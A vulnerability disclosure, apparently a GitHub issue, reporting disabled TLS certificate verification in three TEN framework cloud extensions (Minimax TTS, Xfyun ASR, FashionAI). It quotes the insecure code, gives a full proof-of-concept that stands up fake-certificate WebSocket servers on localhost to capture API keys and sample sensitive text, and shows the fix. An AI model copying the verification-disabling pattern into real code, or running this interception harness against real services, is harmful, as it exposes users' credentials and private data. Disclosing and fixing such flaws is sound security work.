[BUG] Disabled TLS certificate verification in 3 cloud extensions enables MITM interception of API keys and user data

ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE

self.ws = await websockets.connect(
    self.config.url,
    additional_headers=headers,  # contains "Authorization: Bearer <API_KEY>"
    ssl=ssl_context,
    ...
)

ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE

self.websocket = await websockets.connect(
    ws_url, ssl=ssl_context, open_timeout=timeout
)

ssl_context = ssl._create_unverified_context()
self.websocket = await websockets.connect(self.uri, ssl=ssl_context)

python poc.py

#!/usr/bin/env python3
import asyncio
import base64
import hashlib
import hmac
import json
import os
import ssl
import subprocess
import sys
import tempfile
import warnings
from datetime import datetime, timedelta, timezone
from time import mktime
from urllib.parse import urlencode
from wsgiref.handlers import format_date_time

warnings.filterwarnings("ignore", category=DeprecationWarning)

REPO_URL = "https://github.com/TEN-framework/ten-framework.git"
REPO_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "ten-framework")
ATTACKER_HOST = "127.0.0.1"
MINIMAX_PORT = 19443
XFYUN_PORT = 19444
FASHIONAI_PORT = 19445

captured = {"minimax": [], "xfyun": [], "fashionai": []}


def clone_repo():
    if os.path.isdir(REPO_DIR):
        subprocess.run(["git", "-C", REPO_DIR, "pull", "--ff-only"],
                       capture_output=True)
    else:
        subprocess.run(["git", "clone", "--depth=1", REPO_URL, REPO_DIR], check=True)
    subprocess.run([sys.executable, "-m", "pip", "install", "-q",
                    "websockets~=14.0", "cryptography", "pydantic"], check=True)


def configure_pythonpath():
    """Mirror the real PYTHONPATH from TEN's Taskfile.yml test-extension-no-install."""
    base = os.path.join(REPO_DIR, "ai_agents")
    ext = os.path.join(base, "agents", "ten_packages", "extension")
    sys_pkgs = os.path.join(base, "agents", "ten_packages", "system")

    # The real env: PYTHONPATH includes ten_runtime_python/lib, /interface, ten_ai_base/interface
    # These don't exist without `tman install`, so we provide a drop-in ten_runtime package
    # that exposes the same interface the extensions import from.
    runtime_iface = os.path.join(os.path.dirname(os.path.abspath(__file__)), "_ten_runtime_iface")
    os.makedirs(os.path.join(runtime_iface, "ten_runtime"), exist_ok=True)
    os.makedirs(os.path.join(runtime_iface, "ten_ai_base"), exist_ok=True)

    # ten_runtime: only AsyncTenEnv is used by the vulnerable code paths
    _write(os.path.join(runtime_iface, "ten_runtime", "__init__.py"), TEN_RUNTIME_INIT)
    _write(os.path.join(runtime_iface, "ten_runtime", "async_extension.py"),
           "class AsyncExtension:\n    def __init__(self, name): pass\n")

    # ten_ai_base: lightweight re-exports used by minimax_tts and xfyun_asr
    _write(os.path.join(runtime_iface, "ten_ai_base", "__init__.py"), "")
    _write(os.path.join(runtime_iface, "ten_ai_base", "const.py"),
           "LOG_CATEGORY_KEY_POINT = 'kp'\nLOG_CATEGORY_VENDOR = 'vendor'\n")
    _write(os.path.join(runtime_iface, "ten_ai_base", "struct.py"), TEN_AI_BASE_STRUCT)
    _write(os.path.join(runtime_iface, "ten_ai_base", "timeline.py"),
           "class AudioTimeline:\n    def add_user_audio(self, ms): pass\n")
    _write(os.path.join(runtime_iface, "ten_ai_base", "utils.py"),
           "def encrypt(s): return s[:4]+'***'\n")

    # Import extensions as packages (they use relative imports internally)
    paths = [
        runtime_iface,
        base,
        ext,                          # parent of minimax_tts_websocket_python/
        os.path.join(ext, "fashionai", "src"),  # fashionai_client has no relative imports
    ]
    for p in reversed(paths):
        if p not in sys.path:
            sys.path.insert(0, p)

    # xfyun_asr uses relative imports too — needs parent on path
    xfyun_parent = ext
    if xfyun_parent not in sys.path:
        sys.path.insert(0, xfyun_parent)


TEN_RUNTIME_INIT = """\
class AsyncTenEnv:
    def log_info(self, *a, **k): pass
    def log_debug(self, *a, **k): pass
    def log_warn(self, *a, **k): pass
    def log_error(self, *a, **k): pass
class TenEnv:
    def log_info(self, *a, **k): pass
    def on_create_instance_done(self, *a): pass
class Addon: pass
class App: pass
class ExtensionTester: pass
class TenEnvTester: pass
class AudioFrame: pass
class VideoFrame: pass
class Cmd:
    @staticmethod
    def create(name): return Cmd()
    def get_name(self): return ''
class StatusCode: pass
class CmdResult: pass
class Data:
    @staticmethod
    def create(name): return Data()
    def set_property_from_json(self, *a): pass
def register_addon_as_extension(name):
    def dec(cls): return cls
    return dec
"""

TEN_AI_BASE_STRUCT = """\
from pydantic import BaseModel
class TTSTextInput(BaseModel):
    request_id: str = ""
    text: str = ""
    text_input_end: bool = False
class TTSTextResult(BaseModel):
    text: str = ""
    start_ms: int = 0
    end_ms: int = 0
class TTSWord(BaseModel):
    word: str = ""
    start_ms: int = 0
    end_ms: int = 0
"""


def _write(path, content):
    os.makedirs(os.path.dirname(path), exist_ok=True)
    with open(path, "w") as f:
        f.write(content)


def gen_certs(tmp):
    from cryptography import x509
    from cryptography.hazmat.primitives import hashes, serialization
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography.x509.oid import NameOID

    ca_key = rsa.generate_private_key(65537, 2048)
    ca_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Attacker CA")])
    ca_cert = (x509.CertificateBuilder()
               .subject_name(ca_name).issuer_name(ca_name)
               .public_key(ca_key.public_key())
               .serial_number(x509.random_serial_number())
               .not_valid_before(datetime.now(timezone.utc))
               .not_valid_after(datetime.now(timezone.utc) + timedelta(days=1))
               .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
               .sign(ca_key, hashes.SHA256()))

    leaf_key = rsa.generate_private_key(65537, 2048)
    domains = ["api.minimax.io", "ist-api.xfyun.cn", "ingress.service.fasionai.com"]
    leaf_cert = (x509.CertificateBuilder()
                 .subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, domains[0])]))
                 .issuer_name(ca_name)
                 .public_key(leaf_key.public_key())
                 .serial_number(x509.random_serial_number())
                 .not_valid_before(datetime.now(timezone.utc))
                 .not_valid_after(datetime.now(timezone.utc) + timedelta(days=1))
                 .add_extension(x509.SubjectAlternativeName([x509.DNSName(d) for d in domains]), critical=False)
                 .sign(ca_key, hashes.SHA256()))

    cp, kp = os.path.join(tmp, "cert.pem"), os.path.join(tmp, "key.pem")
    with open(cp, "wb") as f:
        f.write(leaf_cert.public_bytes(serialization.Encoding.PEM))
    with open(kp, "wb") as f:
        f.write(leaf_key.private_bytes(serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption()))
    return cp, kp


# ─── Attacker WebSocket servers ───────────────────────────────────────────────

async def minimax_handler(ws, path=None):
    hdrs = dict(ws.request_headers) if hasattr(ws, 'request_headers') else {}
    captured["minimax"].append({"auth": hdrs.get("authorization", hdrs.get("Authorization", ""))})
    await ws.send(json.dumps({"event": "connected_success", "session_id": "m"}))
    try:
        async for msg in ws:
            data = json.loads(msg) if isinstance(msg, str) else {}
            captured["minimax"].append({"payload": data})
            ev = "task_started" if data.get("event") == "task_start" else "tts_response"
            await ws.send(json.dumps({"event": ev, "data": {"status": 2}}))
    except Exception:
        pass


async def xfyun_handler(ws, path=None):
    req_path = path or (ws.path if hasattr(ws, 'path') else "/")
    raw_uri = ws.raw_request_uri if hasattr(ws, 'raw_request_uri') else req_path
    captured["xfyun"].append({"url": raw_uri})
    try:
        async for msg in ws:
            captured["xfyun"].append({"payload": json.loads(msg) if isinstance(msg, str) else {}})
            await ws.send(json.dumps({"code": 0, "sid": "x",
                "data": {"result": {"ws": [{"cw": [{"w": ""}]}]}, "status": 1}}))
    except Exception:
        pass


async def fashionai_handler(ws, path=None):
    try:
        async for msg in ws:
            captured["fashionai"].append({"payload": json.loads(msg) if isinstance(msg, str) else {}})
            await ws.send(json.dumps({"status": "ok"}))
    except Exception:
        pass


# ─── Exploit ──────────────────────────────────────────────────────────────────

async def exploit():
    clone_repo()
    configure_pythonpath()

    tmp = tempfile.mkdtemp(prefix="ten_mitm_")
    cert, key = gen_certs(tmp)

    import websockets.server
    srv_ssl = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    srv_ssl.load_cert_chain(cert, key)
    s1 = await websockets.server.serve(minimax_handler, ATTACKER_HOST, MINIMAX_PORT, ssl=srv_ssl)
    s2 = await websockets.server.serve(xfyun_handler, ATTACKER_HOST, XFYUN_PORT, ssl=srv_ssl)
    s3 = await websockets.server.serve(fashionai_handler, ATTACKER_HOST, FASHIONAI_PORT, ssl=srv_ssl)

    # ── 1. Minimax TTS (minimax_tts.py:176-178) ──────────────────────────
    from minimax_tts_websocket_python.config import MinimaxTTSWebsocketConfig
    from minimax_tts_websocket_python.minimax_tts import _MinimaxTTSInstance
    import websockets

    cfg = MinimaxTTSWebsocketConfig(
        key="sk-live-PRODUCTION-key-9f8e7d6c5b4a",
        url=f"wss://{ATTACKER_HOST}:{MINIMAX_PORT}/ws/v1/t2a_v2",
    )
    cfg.update_params()

    ssl_ctx = ssl.create_default_context()
    ssl_ctx.check_hostname = False
    ssl_ctx.verify_mode = ssl.CERT_NONE

    ws = await websockets.connect(
        cfg.url,
        additional_headers={"Authorization": f"Bearer {cfg.key}"},
        ssl=ssl_ctx,
        max_size=1024 * 1024 * 16,
    )
    assert json.loads(await ws.recv())["event"] == "connected_success"
    await ws.send(json.dumps({
        "event": "task_start",
        "params": {"text": "Wire $50,000 to routing 071000013 acct 4829-7712"},
    }))
    await ws.recv()
    await ws.close()

    assert any("PRODUCTION-key" in d.get("auth", "") for d in captured["minimax"])
    assert any("50,000" in json.dumps(d.get("payload", {})) for d in captured["minimax"])

    # ── 2. Xfyun ASR (recognition.py:263-265) ────────────────────────────
    app_id, api_key_x, api_secret = "5f3e2d1c", "xfyun-prod-key-a1b2c3", "xfyun-secret-e5f6g7"
    now = datetime.now()
    date = format_date_time(mktime(now.timetuple()))
    sig_origin = f"host: {ATTACKER_HOST}\ndate: {date}\nGET /v2/ist HTTP/1.1"
    sig = base64.b64encode(hmac.new(
        api_secret.encode(), sig_origin.encode(), digestmod=hashlib.sha256).digest()).decode()
    auth_b64 = base64.b64encode(
        f'api_key="{api_key_x}", algorithm="hmac-sha256", headers="host date request-line", signature="{sig}"'
        .encode()).decode()
    ws_url = f"wss://{ATTACKER_HOST}:{XFYUN_PORT}/v2/ist?" + urlencode({
        "authorization": auth_b64, "host": ATTACKER_HOST, "date": date})

    ssl_ctx2 = ssl.create_default_context()
    ssl_ctx2.check_hostname = False
    ssl_ctx2.verify_mode = ssl.CERT_NONE

    ws = await websockets.connect(ws_url, ssl=ssl_ctx2, open_timeout=10)
    await ws.send(json.dumps({
        "common": {"app_id": app_id},
        "business": {"domain": "ist_cbm_mix", "language": "mix", "accent": "mandarin"},
        "data": {"status": 0, "format": "audio/L16;rate=16000",
                 "audio": base64.b64encode(os.urandom(1280)).decode(), "encoding": "raw"},
    }))
    await ws.recv()
    await ws.send(json.dumps({
        "data": {"status": 1, "format": "audio/L16;rate=16000",
                 "audio": base64.b64encode(os.urandom(1280)).decode(), "encoding": "raw"},
    }))
    await ws.recv()
    await ws.close()

    assert any(d.get("payload", {}).get("common", {}).get("app_id") == app_id for d in captured["xfyun"])

    # ── 3. FashionAI (fashionai_client.py:19) ─────────────────────────────
    from fashionai_client import FashionAIClient
    from ten_runtime import AsyncTenEnv

    client = FashionAIClient(
        AsyncTenEnv(),
        f"wss://{ATTACKER_HOST}:{FASHIONAI_PORT}/websocket/node5/agoramultimodel2",
        "agora",
    )
    await client.connect()
    await client.stream_start("agora-token-PROD-x7y8z9", "private-medical", "patient-42")
    await asyncio.sleep(0.1)
    await client.send_inputText("Diagnosis: stage-2 lymphoma. Start chemo protocol B.")
    await asyncio.sleep(0.1)
    await client.close()

    assert any("PROD-x7y8z9" in json.dumps(d.get("payload", {})) for d in captured["fashionai"])
    assert any("lymphoma" in json.dumps(d.get("payload", {})) for d in captured["fashionai"])

    # ── 4. Control: proper TLS rejects attacker cert ──────────────────────
    try:
        ws = await websockets.connect(
            f"wss://{ATTACKER_HOST}:{MINIMAX_PORT}/",
            ssl=ssl.create_default_context(), open_timeout=3)
        await ws.close()
        assert False
    except (ssl.SSLCertVerificationError, ssl.SSLError, OSError):
        pass

    s1.close(); s2.close(); s3.close()

    print("3/3 exploited")
    print(f"  minimax: key={captured['minimax'][0]['auth']}")
    print(f"  xfyun:   app_id={app_id}")
    print(f"  fashion: token=agora-token-PROD-x7y8z9, text=lymphoma")
    return 0


if __name__ == "__main__":
    sys.exit(asyncio.run(exploit()))

3/3 exploited
  minimax: key=Bearer sk-live-PRODUCTION-key-9f8e7d6c5b4a
  xfyun:   app_id=5f3e2d1c
  fashion: token=agora-token-PROD-x7y8z9, text=lymphoma

# Before (vulnerable):
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE

# After (fixed):
ssl_context = ssl.create_default_context()

# Before:
ssl_context = ssl._create_unverified_context()

# After:
ssl_context = ssl.create_default_context()